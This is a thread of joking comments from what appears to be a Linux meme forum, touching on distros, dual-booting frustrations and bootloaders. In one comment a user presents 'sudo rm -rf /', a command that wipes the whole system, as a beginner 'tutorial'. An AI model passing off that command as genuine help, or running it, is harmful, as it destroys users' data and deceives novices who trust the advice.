Rabbithole, in You could say I am a bit of a copy/paste expert..

I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.

It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you're golden. No more linux issues ever again.

GitProphet,

And that says a lot!

Ahh yes, Good Guy Greg. Just like the good old days, I’m loving the nostalgia of these vintage memes.

Did they accidentally nuke the entire database again?

Distros are like Kinks. I have my own and you have yours, I won’t judge.

Stillhart, in Some trouble

Okay, I’ll bite. I’ve been trying Linux every few years for the last few decades and it’s never been anywhere close to replacing Windows for me. I’m not a luddite; I was in tech for many years (MCSE certified) but there just… ALWAYS something that doesn’t work right. And there’s NEVER a simple fix. Linux for me ends up being more of a hobby than a tool and I haven’t had the time or patience to deal with it in the past.

But I’m willing to try again,

Anyone have any resources to get me pointed in the right direction? Which distro to try, how to install as a dual-boot on an exiting Windows machine without breaking it, how to get Steam/Nvidia drivers/games going, etc?

EDIT - Apparently trying to dual boot with Windows on a machine with two physical drives is too much to ask (unless you have a CS degree). Maybe next time, Linux.

chaogomu, in Lights on

I can honestly say that I ran Slackware as my daily driver for almost two years...

Never again.

Now I run easy distros. Much less stress overall.

But then you get a status window with “updating wine prefix…”

Gimli as Debian seems fitting (coming from a Debian user). 😆 Something about stability and stoutness.

gizmonicus, in Distromums

So what’s Gentoo doing in all this? Murdering you in your sleep?

Ascend910, in Look at that fragmentation!

Man of culture I see

What does man touch do?

Honestly, when I learned that rEFInd supports loading dxe modules natively I swapped and never looked back (NVMe boot drives on ancient computers, my beloved)

Meeh, someone had to do the job 🤷. It’s not like there is a more flexible solution out there.

stares at the intern’s 400 line bash script

There are totally more flexible options. Just don’t mind the front falling off. It’s totally normal!
